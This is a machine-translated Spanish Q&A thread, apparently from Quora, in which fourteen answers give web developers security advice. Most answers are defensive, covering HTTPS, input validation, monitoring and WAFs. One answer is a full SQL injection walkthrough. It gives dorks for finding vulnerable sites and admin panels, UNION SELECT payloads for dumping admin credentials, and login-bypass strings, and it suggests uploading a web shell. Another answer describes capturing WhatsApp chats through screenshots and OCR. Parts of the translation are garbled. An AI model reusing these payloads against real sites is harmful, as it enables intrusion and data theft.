¿Qué pueden los hackers enseñar a los desarrolladores web en un minuto para cambiar la forma en que están pensando?

Answer 1

Si está configurando un servidor web, no permita ni permita que sus visitantes utilicen HTTP alguna vez.

No crea que su sitio web no es tan importante como para que valga la pena protegerlo, incluso si no tiene nombres de usuario, contraseñas, contenido creado por el usuario o contenido polémico. Incluso si su sitio es solo un folleto HTML estático de una página. ¡Está alimentando metadatos de actores malos sobre sus clientes, y esos actores malos ni siquiera le están pagando a usted!

Siempre, siempre use HTTPS para todo. Hoy en día no hay más razones para usar HTTP que para usar FTP o Telnet. Nunca soñaría (espero) de requerir que sus clientes usen estos en lugar de SFTP / FTPS y SSH, sus alternativas están protegidas por TLS. Es lo mismo con HTTP.

En particular, * no * le da a los usuarios la opción de elegir HTTP. Porque, sin importar cuán tentador sea esto, esto abre a sus usuarios a un ataque de degradación de personal intermedio que solicitará la versión HTTP de la página en lugar de la versión HTTPS. Reenvía todas las solicitudes HTTP a HTTPS.

Wikimedia es uno de los muchos sitios que solo utilizan HTTPS. Por que no estas

[Editar: las razones generalmente citadas en contra de usar HTTPS son:

1) “A nadie le importa”. Ya no es cierto desde Snowden. Mucha gente ahora se preocupa mucho por esto. Pero eso ni siquiera es relevante. A sus clientes tampoco les importa qué algoritmo utilice para cifrar sus contraseñas, A MENOS QUE A SU FASE, la base de datos de contraseñas se haya filtrado y contenga contraseñas cifradas con DES. Es su responsabilidad y responsabilidad proteger a los clientes que utilizan sus servicios, ya sea que les importe o no. Ya no vivimos en un mundo donde alguien podría estar husmeando en una conexión a internet HTML de texto simple: ahora sabemos que todas las conexiones de texto plano están fisuradas y grabadas: simplemente no sabemos por qué y cuántas organizaciones, ni su intención.

2) “No puede tener múltiples dominios en una sola IP”. Ya no es cierto con TLS + SNI.

3) “Los certificados cuestan dinero” Ya no es cierto con organizaciones como StartSSL, WoSign y, en los próximos meses, LetsEncrypt. CaCert también es una opción, pero como los navegadores nunca han aceptado sus certificados de raíz, lamentablemente es mucho mejor que autofirmarse. Muchos servidores de servidor proporcionan certificados gratuitos con su alojamiento.

4) “Se necesitan toneladas de CPU / ancho de banda / memoria” . Ya no es cierto. Google informa de menos del 1% de la CPU, menos del 2% de aumento en el ancho de banda y menos de 10kb / conexión de memoria de TLS: IsTlsFastYet.com

5) “El saludo inicial agrega latencia” . No de manera significativa, y solo en la primera conexión, asumiendo que tiene la reanudación de sesión configurada correctamente (aunque tenga cuidado con las implicaciones de esto en Perfect Forward Secrecy). Dicho de otra manera: si Google, Facebook, Twitter, Amazon y Wikimedia, todas las empresas que se preocupan por los microsegundos de cambio en los tiempos de carga de sus páginas, no consideran la latencia del apretón de manos de TLS como un tema por el que vale la pena preocuparse, entonces tampoco debemos.

6) “HTTP se ve más seguro en el navegador”. Esto es cierto, a su manera. Si configura incorrectamente su certificado, si su navegador tiene certificados de CA incorrectos o desactualizados, si su certificado expira, si alguno de los certificados en su cadena de confianza es revocado, o si suceden cualquiera de las decenas de cosas, su certificado se mostrará en rojo. advertencia y la barra de direcciones se pondrá roja en lugar de verde. Seguramente es mejor tener la barra de direcciones blanca regular, por si acaso? Tengo poca respuesta a esto aún, aunque los fabricantes de navegadores intentan despreciar http: HTTPS-FAQ.pdf

7) “La configuración es increíblemente complicada”. Comentario justo No, realmente, se retrasa la cantidad de pasos necesarios para convertir manualmente un sitio web solo HTTP a solo HTTPS, desde los mágicos hechizos de línea de comandos y la cuidadosa navegación por el sitio web para comprar, crear, firmar e instalar el certificado, hasta el laberinto. proceso complejo de configuración de Apache para que sirva cosas como HTTPS por defecto, y para reenviar cosas a HTTPS. Puede configurarse para aceptar pagos con tarjeta de crédito más fácilmente de lo que puede proteger una única página web. Afortunadamente, este es un problema reconocido como la última barrera legítima para la adopción, por lo que hay muchos tutoriales y, en breve, todo será posible con un solo comando: Cómo funciona

]

Answer 2

Cero. Absolutamente cero.

Este es el por qué.

Se trata de mentalidad. Veo un reloj, y me pregunto qué hay dentro de él, cómo funciona, si es mecánico o eléctrico, si es un oscilador o un cuarto de galón eléctrico, qué tan bien guarda el tiempo, qué tan preciso es, cómo podría mejorarse / mejorar …

Otras personas ven un reloj y dicen “oh, son las 2:51 p.m.” y eso es todo.

No puedo enseñar eso.

He intentado. Pero o lo tienes, o no lo tienes.

Mi problema número uno con los arquitectos y desarrolladores de hardware y software es hacer que piensen en el “caso de uso inesperado”. Lo que hará explotar todo. Lo que nadie haría jamás, como en un millón de años.

Excepto alguien, en algún lugar, lo hará.

¿Construyendo un sacapuntas? Guay,. ¿Qué pasa cuando le pones un plátano? ¿O tu dedo? ¿O un petardo?

¿Construyendo una tostadora de dos rebanadas? Impresionante, ¿qué sucede cuando pones la mantequilla de maní y la jalea primero, porque te gustaría que también fuera un poco crujiente? O tal vez esas micro-pizzas … O filetes de pescado …

¿Construyendo una aplicación de redes sociales? Dulce. ¿Qué sucede cuando decido eliminar mis contactos, descargo un montón de información obtenida de la web para delincuentes sexuales en mi aplicación de contactos y te permite enviarles todas las invitaciones?

Podría seguir todo el día. Tengo un millón de ellos.

Por eso puedo ir a lugares y hacer cosas que (la mayoría) otros no.

Yo no. Pensar. Me gusta. Tú. Hacer.

Para mí, eso es algo bueno. Pero no puedo enseñarlo. Lo tienes, o no lo tienes.

Y, como una barra lateral, cuando trato de enseñarlo, no va bien. Hay demasiado, demasiado rechazo sobre lo absurdo que estoy siendo. Y lo peor es que alguien piensa que sí lo entienden, y comienza a agregar un código especial de verificación de casos, completamente absurdo e inútil, en lugar de resolver el problema real de la arquitectura subyacente que todavía permite que alguien lo vea y lo empuje con un dedo. .

Estoy animando a mi hijo a pensar de esta manera. He tenido, ya, suficientes años que está empezando a hacer esas preguntas “Me pregunto qué pasará si …”. Afortunadamente, hemos mantenido el erizo fuera del microondas y solo hemos inundado el baño un par de veces, pero está en el camino correcto. Él es uno de nosotros. El lo tiene

¿Pero en un minuto ? Nunca, jamás, jamás sucederá.

Answer 3

Actualización: esta respuesta tiene muchos comentarios y preguntas, así que intentaré resumir.

Nací y crecí en los barrios pobres de Río, Brasil. Nunca he tenido mucho acceso a maestros o desarrolladores profesionales, así que tuve que enseñarme muchas cosas. Hasta hace 3 meses, no había tocado Java ni una sola vez en toda mi vida.

Entonces, aprender Java, encontrar una manera de “sortear” el cifrado de Whatsapp y crear un prototipo funcional en 3 días fue definitivamente algo importante para mí. Definitivamente elevó mi baja autoestima y mis pensamientos de que nunca volveré a ser lo suficientemente bueno.

Creo que esta es una manera diferente de pensar, pero todos tienen una perspectiva diferente, por lo que entiendo si no estás de acuerdo conmigo.

Ya no tengo nada que perder porque perdí mi auto, mi casa y todo mi dinero por segunda vez en mi viaje en el mundo de las startups. Intentaré escribir sobre ello como respuesta.

---

Solo te digo esto porque ya no tengo nada que perder. Y qué demonios.

Hace unos meses, alguien me dijo que era imposible monitorear y obtener las conversaciones de las aplicaciones de What’s, especialmente debido a todo lo relacionado con el cifrado.

Después de 3 días intensos de programación e investigación finalmente me di cuenta de una manera. Aquí esta lo que hice:

1 – Creé una aplicación para Android que tomaría la pantalla de impresión del dispositivo cada 3 segundos o la duración que quisiera. (No quería usar ningún tipo de acceso de raíz, así que opté por una API nativa que registra la pantalla)

2 – Creé un servidor Ubuntu, instalé Tesseract y creé una API Restful para que pudiera conectar fácilmente la aplicación y el servidor.

3 – Enviamos la impresión guardada en el sd al servidor, pusimos Tesseract para transformar la imagen en texto y listo, ¡ya estamos!

Nota: Tesseract es un programa de código abierto que convierte la imagen en texto. Muy bien por cierto.

Con esto, creé una aplicación de control parental donde los padres podían guardar filtros como “sexo” o “encontrarse conmigo” o “eliminar” o lo que sea que fuera apropiado para su situación. Ahora, si alguna de esas palabras aparece en cualquier aplicación dentro del dispositivo, el padre recibe una notificación y una pantalla de impresión de la conversación.

En mi opinión, esto podría terminar con un montón de problemas como el acoso escolar, el secuestro, el ciberataque y otros.

¡Aclamaciones!

---

Actualización 2 (perdón por eso):

Algunos chicos comentaron que esto no es piratería y que el teléfono ya está comprometido cuando haces eso.

1 – Lo único que tiene que hacer el usuario es instalar la aplicación (sin acceso de root). Sinceramente, no puedo ver dónde está comprometido el teléfono. Por favor educame en los comentarios (no siendo sarcástico)

2 – Seguro que podrías instalar un keylogger pero, por lo que sé, realmente no puedes tener acceso al teclado, ya que un teclado es una intención dentro de la aplicación en una capa completamente diferente. Estudié Java durante 8 días ahora, así que definitivamente podría usar alguna confirmación aquí.

3 – Incluso si pudieras obtener lo que se está escribiendo. ¿Qué pasa con la otra parte, leyendo?

Answer 4

No soy un pirata informático, pero creo que todavía estaría en el espíritu de la pregunta ofrecer lo que he tenido que aprender yo mismo sobre cómo abordar la seguridad y lo que he visto faltar al revisar el código de otras personas.

1.) Asume tu propia falibilidad. El hecho de que haya pasado mucho tiempo pensando en la seguridad de una aplicación y no pueda pensar en ninguna forma en la que se podría violar el código, no tiene nada que ver con si se puede violar o no. Si los programadores pudieran ver de forma confiable sus propios errores, el software nunca se violaría.

2.) La seguridad es sobre capas. Tiene que ser así porque no se puede garantizar que una sola capa sea realmente segura (vea la nota # 1). El hecho de que haya cerrado la puerta principal y colocado un guardia armado, no significa que deba dejar abierta la puerta de la caja fuerte.

3.) Desde la perspectiva de su aplicación, los usuarios y los hackers tienen exactamente el mismo aspecto. “No confíes en el usuario” es el mantra en la seguridad de la aplicación específicamente debido a esto. Nunca asuma que cualquier cosa que haya estado fuera de su sistema (datos de formularios enviados, comentarios de usuarios, resultados de una llamada de API a un sistema remoto, etc.) es “segura”. Donde no sea absurdo hacerlo, ni siquiera confíe en sus propios datos privados. (Ver punto # 2.)

4.) Revele lo menos posible acerca de su sistema al mundo exterior. Permitir que su servidor divulgue cualquier información (versiones del servidor / idioma / db, nombres de campo de la base de datos, etc.) solo facilita el trabajo del black-hat. Haga el trabajo de entender su sistema lo suficientemente duro y puede que tenga la suerte de aburrirse y pasar a otro sistema. (Por supuesto, esto nunca sería suficiente si alguien lo está apuntando a usted. Una vez que lo atacan, no lo piratean requiere un esfuerzo monumental). Además, cuanto más tarde en llegar, mayor será la posibilidad de que alguien se dé cuenta de que lo está haciendo. ahí.

5.) Un ejemplo específico que mencionaré porque no puedo creer cuántas veces lo he visto: si está usando una identificación secuencial por alguna razón muy práctica (por ejemplo, /fetch.php?record_id=123) compruebe si el usuario que ha iniciado sesión actualmente tiene acceso a los registros 124, 125, 126 … antes de entregarlos. El hecho de que un usuario haya iniciado sesión en * su * cuenta no significa que deba ver los datos en las cuentas de otros usuarios. (Esto está relacionado con el # 3 anterior: “¡No confíes en el usuario!”)

Answer 5

Tener nuestro sitio web pirateado y derribado por completo por terroristas musulmanes, y perder varios años de arduo trabajo, creo que la lección más importante es:

a) ten mucho cuidado con quien te acuestas

Nuestros sitios estaban en NetworkSolutions, y los ciberdelincuentes piratearon todo el servidor con un truco de inyección de PHP. Aunque NetSol “anunció” una copia de seguridad automática, soporte las 24 horas y demás, eran totalmente inútiles y NO habían hecho las copias de seguridad prometidas. Incluso intentar restaurar las copias de seguridad secuenciales no tuvo éxito porque la inyección también infectó las copias de seguridad.

b) SIEMPRE mantenga una copia de seguridad limpia, local,

Ese es el gran problema con los modernos sistemas de CMS y software de blogs. No puede ejecutarlo localmente y, por lo tanto, no puede mantener una copia de seguridad limpia. Así que deshágase de su WordPress, Drupal, Joomla u otro que no permita una copia de seguridad local. Su sitio web debe ser completamente funcional cuando se ejecuta en el disco duro de su computadora SIN conexión a Internet.

c) No confíes en nadie

No importa lo que los desarrolladores y los proveedores de servicios de Internet le informen o anuncien, siempre tenga en cuenta que solo tienen en mente una iniciativa: GANAR DINERO DE USTED. Entonces, independientemente de lo que te digan, no están cuidando tus intereses … están cuidando sus propios intereses.

En un reciente escenario de piratería con uno de nuestros clientes, el sitio fue hackeado (WordPress) y se colocaron enlaces de spam en cada página. Google los mató. Ellos buscaron y buscaron y no pudieron encontrar cómo el hack se coloca en los enlaces.

El ISP se encogió de hombros (a pesar de que 100% de seguridad era una garantía de venta) y dijo: “Recomendamos a esta compañía de bloqueo de sitios, pueden limpiarla”.

Así que el cliente compró el servicio – $ 200 – y notablemente el sitio fue arreglado completamente en diez minutos.

Hay algo realmente raro en ese escenario. Eran un complemento de la empresa de alojamiento. . . y ahora sospechamos que ELLOS pusieron el truco allí para que pudieran cobrar por eliminarlo.

NO CONFÍES EN NADIE . . . Recibe tantas recomendaciones como puedas.

Answer 6

Hola, recientemente respondí una pregunta que puede consultar aquí Respuesta de Rohan Kulkarni a ¿Cómo debo arreglar un sitio web que fue hackeado por alguien? . Entonces, el usuario anónimo que hizo la pregunta afirmó más tarde que su sitio web fue destruido por un hacker pakistaní que hizo uso de la vulnerabilidad de inyección de SQL. Creo que hay una necesidad de que los desarrolladores entiendan qué es la Inyección de SQL y la razón de esto es la siguiente:
Al aire libre
Al aire libre
Al aire libre
Al aire libre

Fuente IMG: Google

• SQLi tiene una gran participación debido a que los sitios web son desfigurados. SQLi permite a un atacante inyectar comandos SQL a través de la URL para obtener acceso a la información esencial almacenada en la base de datos.
• Los desarrolladores pueden consultar los enlaces que se proporcionan a continuación para obtener más información sobre cómo prevenir el ataque SQLi:
• Hoja de referencia de prevención de inyección SQL
• Libro de cocina de inyección SQL – Oracle
• Pruebas de inyección SQL (OTG-INPVAL-005)
• Aquellos que quieran saber cómo se lleva a cabo este ataque siguen los pasos a continuación:
• Cosas Requeridas:
  1. Sitio web vulnerable a SQL (OfCourse: P)
  2. Pateince
  3. Cerebro xD!

1. Busque este dork en google para obtener resultados de sitios web vulnerables a este ataque inurl:"products.php?prodID=".

Al aire libre
Al aire libre
Al aire libre
Al aire libre

1. Así que usar tus propios tontos no es nada malo, a veces tus tontos no funcionan, no importa si lo entiendo.
2. Pruebe la vulnerabilidad agregando una sola cita en el enlace url http://www.mywebsite.com/index.php?id=5 ′
3. Cómo saber si los sitios vulnerables:
   – Falta texto, imágenes, espacios o scripts de la página original.
   – Cualquier tipo de error típico de SQL (fetch_array) etc.
4. Encontrar columnas y las columnas vulnerables
   Te aconsejo que lo hagas manualmente. así que usando los siguientes comandos (siempre que se sigan
   correctamente) comenzarás a ver resultados en ningún momento

Ejemplo:

http://www.mywebsite.com/index.php?id=23&#039 ;

SI EL SITIO ES VULNERABLE
Consulte lo siguiente para verificar el número de columnas.
(orden + por) la orden por función le dice a la base de datos que ordene las columnas por un entero (dígito, por ejemplo, 1 o 2), no se devuelve ningún error significa que la columna está allí, si se devuelve un error significa que la columna especificada no está presente.

http://www.site.com/index.php?id=23+order+by+1– http://www.site.com/index.php?id=23+order+by+2– http://www.site.com/index.php?id=23+order+by+3– http://www.site.com/index.php?id=23+order+by+4 –

Al usar orden + por + comando e incrementar el número cada vez hasta que la página muestre un error, es el método más fácil para encontrar columnas vulnerables, por lo que a partir de los ejemplos anteriores al intentar ordenar las columnas por 4, hay un error que simplemente indica que la columna 4 es No está presente, por lo que hay 3 columnas.

5. Bien, digamos que estábamos trabajando en el sitio que usé anteriormente, que tiene 3 columnas. Ahora necesitamos descubrir cuáles de esos tres coluntes son vulnerables. Las columnas vulnerables nos permiten enviar comandos y consultas a la base de datos SQL a través de la URL.

(union + select)
Selecciona todas las columnas proporcionadas en la URL y devuelve el valor de la columna vulnerable Ejemplo:
http://www.site.com/index.php?id=23+union+select+1,2,3

6. El sitio debe actualizarse, no con un error, pero falta algo de contenido y hay un número
mostrados en la página, ya sea 1, 2 o 3 (ya que seleccionamos las tres columnas en la URL anterior para obtener la vulnerabilidad de la columna). A veces la página se ve completamente normal, lo que no es un problema. Algunos sitios en los que debe anular el valor que está inyectando. En términos más simples, el = 23 que se ve en la URL anterior después de la identificación debe anularse para devolver la columna vulnerable. Así que simplemente ponemos un guión (signo menos) antes del 23 como: -23

Así que la URL ahora debería verse algo como esto:

http://www.site.com/index.php?id=-23+union+select+1,2,3–

7. Obteniendo el Verison SQL: Ejemplo:

http://www.site.com/index.php?id=-23+union+select+1,@@version,3–

Al modificar la URL, verá que la versión de SQL está impresa en su pantalla. Lo que debe buscar es una serie de números, por ejemplo:
5.0.89-comunidad
4.0.45-log

8. Si su serie 5.0 (versión sql) realiza los siguientes pasos:

-Obteniendo nombres de tablas: la siguiente URL mostrará solo el primer nombre de la tabla que aparece en la base de datos information_schema (Ejemplo 1). Entonces use group_concat () para obtener todas las tablas listadas (Ejemplo 2).

Ejemplo 1:
http://wxw.site.com/index.php?id …

Ejemplo 2: http://wxw.site.com/index.php?id=-23+union+select+1,group_concat(tabl_name) , 3 + de + information_schema.tables–

Ejemplo de lista de tablas que se imprimirán en pantalla:
Acerca de, Admin, Afiliados, Acceso, Cliente, Usuarios

– Obtención de nombres de columnas a partir de nombres de tablas:

Bien, sugiriendo de los nombres de tabla anteriores decidimos obtener información de columna de la tabla Admin. Modificar la URL anterior como

Ejemplo: http://wxw.site.com/index.php?id=-23+union+select+1,group_concat(column_name) , 3 + de + information_schema.columns + where + table_name = Admin–

Ahora, la modificación anterior devolverá un error porque el comando utilizado al final de la URL (donde table_name = Admin) Debemos HEXAR el nombre de la tabla, en este caso Admin.Search en google para el texto al convertidor hexadecimal.

El HEX de Admin es: 41646d696e. Ahora debemos agregar 0x (Cero x) (número entero de MySQL) en la parte frontal del HEX, que ahora debería tener este aspecto: 0x41646d696e Y colocarlo en el extremo de la URL que reemplaza a Admin, por lo que La URL debe verse algo como:

Ejemplo:

http://www.site.com/index.php?id=-23+union+select+1,group_concat (column_name), 3 + de + information_schema.columns + donde + table_name = 0x41646d696e–

Ahora todas las columnas de la tabla Admin se mostrarán en la página, usaremos el mismo comando para extraer datos de ciertas columnas dentro de la tabla. Digamos, por ejemplo, que se muestran las siguientes columnas:
nombre de usuario, contraseña, id, admin_user. podemos modificar la url para obtener columnas de la tabla admin como:

Ejemplo:

wxw.site.com/index.php?id=-23+union+select+1,concat(username,0x3a,password),3+from+Admin–

Esto mostrará la primera entrada de datos de nombre de usuario y contraseña de las columnas nombre de usuario y contraseña en la tabla Admin. Ahora, encuentre el panel de administración del sitio web, ingrese el usuario y la contraseña. Sube un shell y vence a xD !!

Ahora aplaude para ti 😀

Si es perezoso para realizar estos pasos manualmente, Havij es el software que se puede utilizar para la inyección automatizada de SQL.

• Los piratas informáticos también pueden acceder al panel de administración utilizando la inyección SQL.
• Google Dorks: inurl: adminlogin.aspx
  inurl: admin / index.php
  inurl: administrator.php
  inurl: administrator.asp
  inurl: login.asp
  inurl: login.aspx
  inurl: login.php
  inurl: admin / index.php
  inurl: adminlogin.aspx
• Busque estos dorks en google y encontrará un panel de administración de sitios web.
• Cientos de sitios se abrirán con /adminlogin.aspx en su URL. Seleccione cualquier sitio web, obtendrá el área desde donde los administradores inician sesión. Rellene los detalles como:
  Usuario: 1’o’1 ‘=’ 1
  Contraseña: 1’o’1 ‘=’ 1
• Utilice los detalles de inicio de sesión mencionados anteriormente y estará en el panel de administración de un sitio web. No funcionará para todos los sitios web, pero funcionará en la mayoría de ellos.
• Otras consultas sobre lesiones:
  ‘o 1 = 1 –
  1’o’1 ‘=’ 1
  administración’-
  ”O 0 = 0 –
  o 0 = 0 –
  ‘o 0 = 0 #
  ”O 0 = 0 #
  o 0 = 0 #
  ‘o’ x ‘=’ x
  ”O“ x ”=” x
  ‘) o (‘ x ‘=’ x
  ‘o 1 = 1–
  ”O 1 = 1–
  o 1 = 1–
  ‘o a = a–
  ”O“ a ”=” a
  ‘) o (‘ a ‘=’ a
  “) O (“ a ”=” a
  hola ”o“ a ”=” a
  hola “o 1 = 1 –
  hola ‘o 1 = 1 –
  hi ‘o’ a ‘=’ a
  hola ‘) o (‘ a ‘=’ a
  hola “) o (” a “=”)
• Si desea cargar un shell (backdoor c99.php) puede consultar el siguiente enlace:
• Cargar Web Shells usando encabezados HTTP en vivo
• Nota: No utilice esta información para piratear sitios web. Respete los esfuerzos realizados por los desarrolladores para desarrollar su sitio web. Para prevenir los ataques de SQLi, primero debe saber cómo funciona. Espero que todos ustedes encuentren esto útil !!

Vaya, me tomó más de un minuto. Lo siento por la respuesta larga.

Answer 7

Una parte importante de mi trabajo diario consiste en ingresar en aplicaciones web. Sin embargo, periódicamente tengo la oportunidad de revisar de forma forense los registros de las aplicaciones web comprometidas. Es interesante observar que la mayoría de las aplicaciones web no ofrecen suficiente visibilidad del comportamiento del usuario.

Este es mi consejo: desarrolle su aplicación web de tal manera que el desarrollador / administrador del sistema reciba una alerta sobre el comportamiento malicioso. No espere a que alguien revise los registros para descubrir que el sitio web se vio comprometido hace 2 años.

Aquí hay algunas sugerencias sobre cómo monitorear proactivamente a los hackers:

1. Monitoree los caracteres especiales en lugares donde solo debe haber números. Si está esperando un valor numérico para un parámetro pero recibe caracteres especiales, desinfecte los datos y envíe una alerta. Aumente el nivel de alerta si esto sucede varias veces durante un corto período de tiempo.
2. Si una dirección IP tiene varios fallos de inicio de sesión en un corto período de tiempo, inicie otra alerta.
3. Implementar un mecanismo de bloqueo para bloquear un hacker detectado. Tenga en cuenta que puede ser muy fácil para él / ella cambiar su dirección IP.
4. Envíe una alerta cuando alguien intente acceder a las URL que se encuentran en el archivo robots.txt. * El archivo robots.txt se utiliza para indicar a los motores de búsqueda que omitan ciertas URL.
5. Si el usuario está generando muchos errores de 404 Archivo no encontrado en un corto período de tiempo, inicie otra alerta. Pueden estar escaneando internet en busca de aplicaciones vulnerables.
6. Asegúrese de que puede enumerar en blanco algunas direcciones IP. Es importante deshabilitar selectivamente la seguridad para permitir que una compañía externa pruebe la aplicación web.

Espero que esto haya ayudado!

Answer 8

1. Use las URL limpias : https://www.site.com/news.php ? id = 1337 es mucho más tentador que https://www.site.com/news/some-news-or-today
2. Desinfección de entradas: lo primero que intentará un pirata informático al ver un cuadro de búsqueda es ” “. Si no se realiza el saneamiento, ya está hecho. Acabas de darle acceso a un hacker a una famosa fruta de baja reputación llamada XSS.
3. Control de control de acceso: he visto casos en los que un simple http://www.site.com/phpmyadmin nos dio acceso a la base de datos completa. Sin inyección, nada. Sólo un error tonto de no dar los permisos adecuados.
4. Los errores dicen mucho: incluso una página de error puede proporcionar mucha información sobre el servidor web, la estructura de carpetas del servidor web, la versión y otras tecnologías que se utilizan en el sitio. Por lo tanto, asegúrese de que solo se muestren páginas de error personalizadas que no muestran ninguna información interna sobre la aplicación web. Muchas veces he visto que un desarrollador olvidó apagar los errores de php y un atacante obtuvo mucha información sobre la estructura del sitio a partir de los errores.
5. Olvídese de GET : no envíe información confidencial de formularios, páginas de registro, áreas de inicio de sesión utilizando el parámetro GET. Es muy fácil de explotar utilizando una combinación de CSRF u otras formas.

   Después de trabajar con varios desarrolladores, nosotros en Czar hemos desarrollado un producto, ASTRA, que ayuda a los propietarios de sitios web a proteger sus sitios web. Además, los desarrolladores pueden utilizarlo para comprobar las áreas a las que los piratas informáticos se dirigen constantemente. Entonces, le decimos el vector de ataque que está utilizando el atacante, el parámetro que se está explotando, etc. Estoy adjuntando una captura de pantalla.

Aquí hay un panel de control de uno de nuestros probadores beta, he eliminado la IP. Si eres desarrollador / propietario de un sitio, te veré como beta tester. Puedes registrarte aquí: Página en getastra.com

Answer 9

Los hackers exitosos no solo son buenos para hackear. Lo que hace exitoso a un gran hacker es que son excelentes para comprender la naturaleza humana.

Como seres humanos, cuando tenemos éxito, tendemos a desarrollar más y más arrogancia. Los desarrolladores exitosos no son diferentes. Los desarrolladores de empresas exitosas, como Apple, a menudo se sienten cómodos después de que sus programas pasan por las pruebas. Aunque, las compañías tienen equipos dedicados a probar sus programas continuamente, las pruebas pueden no ser tan vigorosas como es necesario o los programadores no están pensando de manera creativa.

Los piratas informáticos saben que los desarrolladores no están probando cuidadosamente todos los aspectos de la aplicación (características, entradas, inicios de sesión, etc.). ¡Yo diría que los buenos hackers entienden el sitio web de un desarrollador mejor que el propio desarrollador (o ella misma)! Es por eso que se anima a tantos desarrolladores a participar en hackathons porque incluso los programadores más talentosos tienen mucho que aprender sobre seguridad.

Entonces, en resumen, no confíes en ti mismo y tampoco confíes en tus visitantes. Los desarrolladores son propensos a cometer errores y programar en la rutina. Por lo tanto, necesitan pensar como hackers y siempre piensan ” ¿Cómo podría hackear mi aplicación web? ” Y proteger sus aplicaciones web en esa mentalidad.

Además, los visitantes no siempre son quienes parecen ser . Algunos de ellos podrían ser tráfico malicioso que busca explotar las vulnerabilidades de su aplicación web, por lo que necesita crear tantas precauciones de seguridad como sea posible (es decir, para ataques de inyección, no use SQL dinámico o conecte bases de datos con un inicio de sesión de administrador).

Answer 10

Bueno, he estado en el lado más oscuro de la red cuando era joven. Así que cuando comencé el desarrollo web profesionalmente, me sorprendió mucho ver que era muy tonto o debo decir errores perezosos cometidos por los desarrolladores.

Como ha preguntado acerca de una respuesta que podría cambiar la forma en que los desarrolladores piensan, me gustaría compartir cómo se produce un ataque que, a su vez, lo hará pensar como un hacker cada vez que escriba un código.

Su sitio web es como un banco (incluso si no tiene nada de valor), y todos los ladrones sueñan con robar un banco. Para que los ladrones o hackers se salgan con la suya perfecta, estos son los pasos que deben seguir.

1) Mantener un ojo en el banco durante unos días.
2) Obtenga los planos del banco (en busca de pistas sobre la información del sistema)
3) Ejecución (explotando adecuadamente las vulnerabilidades encontradas)
4) Escapar (eliminar los registros)

Solo discutiremos las 2 primeras partes.
Bueno, en realidad no podemos evitar que alguien vigile nuestro sitio web o navegue por él, pero podemos evitar compartir nuestro funcionamiento interno del sitio web ocultando detalles sobre las versiones del sistema operativo del servidor, los motores de base de datos, los errores, etc. Este es el paso principal. antes de la ejecución real, y el 70-80% de los sitios web que he encontrado sirven esta información en la placa. Bueno, parece información muy básica, pero hay una razón por la que los desarrolladores intentan ocultar esta información, existen foros en línea donde puede ingresar e ingresar estos detalles y le mostrará todos los agujeros / vulnerabilidades que se pueden encontrar en ese SO / extensiones, etc. y algunas también proporcionan instrucciones sobre cómo explotarlas. Desafortunadamente, el retroceso ha hecho que la ejecución de este tipo de ataques sea tan sencilla, pero si la información está oculta, entonces el pirata informático tiene que pasar por un proceso de prueba y error, que es un trabajo muy tedioso, y es de esperar que simplemente se dé por vencido en esta etapa.
Luego viene la ejecución, bueno, si el atacante encontró una vulnerabilidad decente, entonces mis amigos, ustedes, están en graves problemas. Pero si no lo hizo, se moverá hacia una aplicación más específica, por ejemplo, alterar los campos de formulario, las URL de acción, obtener solicitudes, etc. A menudo veo desarrolladores que confían totalmente en la validación de JavaScript, bueno, es como colgar un trozo de tela. de una puerta. Bueno, él es un hacker profesional, luego avanzará con la inyección de SQL. Bueno, desafortunadamente, nunca puedes evitar este tipo de ataques, pero puedes minimizarlos en gran medida usando declaraciones prepagas.

Bueno, hay cientos de otros tipos de ataques, pero si puede proteger sus aplicaciones de estos ataques siguiendo reglas simples, su sitio web estará a salvo de una gran cantidad de piratas informáticos.

Siempre intente compartir / discutir su código con sus compañeros desarrolladores o incluso mejor para probar la programación en pares. Porque como dijo Linus, “dados suficientes globos oculares , todos los errores son superficiales ”

Feliz codificación 🙂

Answer 11

Seré breve, ya que solo tengo un minuto. =)

No mires lo que construyes desde tu propia perspectiva. Nadie más lo hará.

Una y otra vez, he visto sistemas diseñados por personas que trabajan desde una red interna o con privilegios administrativos. No se dan cuenta de cosas que están bloqueadas incorrectamente porque asumen que pueden acceder a ellas porque tienen el derecho de acceder a ellas, no porque apestan al implementar el control de acceso.

Tanto los usuarios como los intrusos generarán todo tipo de información extraña. Si tiene botones de radio, no asuma que ninguno será verificado. No asuma nada en absoluto. No haga que algo vital sea accesible solo porque se accede desde su LAN interna.

Haz que alguien que no sepa nada de lo que estás construyendo trate de navegarlo. Es posible que encuentren algún problema técnico que nunca tendrías, porque sufres el bloque terminal de pensar que sabes cómo funciona.

Mi minuto ha terminado. ¡Buena suerte!

Answer 12

Un minuto no es mucho tiempo, pero intentaré esto de todos modos.

1. Intenta explotar tu propio código, o al menos piensa en cómo podrías hacerlo. Esto te ayudará a aprender métodos nuevos y más rápidos para realizar las mismas tareas antiguas y te hará pensar más como un “hacker”.
2. Si no se sentiría completamente cómodo dándole su código fuente a un hacker, o publicándolo en línea, no es lo suficientemente seguro. Desea solucionar esto antes de que una mala configuración del servidor haga que sea visible para el público y posteriormente se indexe en Google y WayBackMachine para que todo el mundo pueda verlo.
3. No confíes en nada y escapa de todo. Si cree que ha encontrado una excepción a esta regla, debería preguntarse: ¿estoy recopilando esta información de la manera correcta? Es probable que usted no lo esté, y debería recopilar / almacenar los datos de una manera más “granular”.
4. Desinfectar la entrada del usuario es una muleta que deberías esforzarte para hacer sin ella. El escape es mucho más extensible. Obviamente, hay excepciones, pero siempre debe preguntarse si realmente necesita desinfectar, o si simplemente puede escapar.
5. No es una cuestión de si, pero cuando su sistema se verá comprometido. espera lo mejor, pero prepárate para lo peor.
6. No confíes en nadie, ni usuarios, ni administradores, ni otros desarrolladores … ¡ni siquiera tú mismo! Si puede pensar en una forma de explotarlo, le garantizo que hay alguien más que también puede hacerlo, probablemente en la mitad del tiempo.

Answer 13

• Ningún software / aplicación está a prueba de hackers.
• Como desarrollador, debe asegurarse de tener registros de auditoría para casi todas las acciones.
• Utilice únicamente técnicas estándar de cifrado y hash.
• Siempre use y haga cumplir contraseñas seguras.
• Es recomendable utilizar la autenticación de 2 factores para acciones importantes / significativas.
• NO almacene datos confidenciales como contraseñas, información de la tarjeta de crédito como texto del plan.
• Invierta en un NoC / SoC mediante la recopilación de todos sus registros de eventos para el monitoreo 24 x 7.

Answer 14

Un buen WAF (Web Application Firewall) puede ayudar a muchos desarrolladores que tienen un conocimiento mínimo de seguridad para asegurar sus aplicaciones web con el menor esfuerzo.

https://www.modsecurity.org

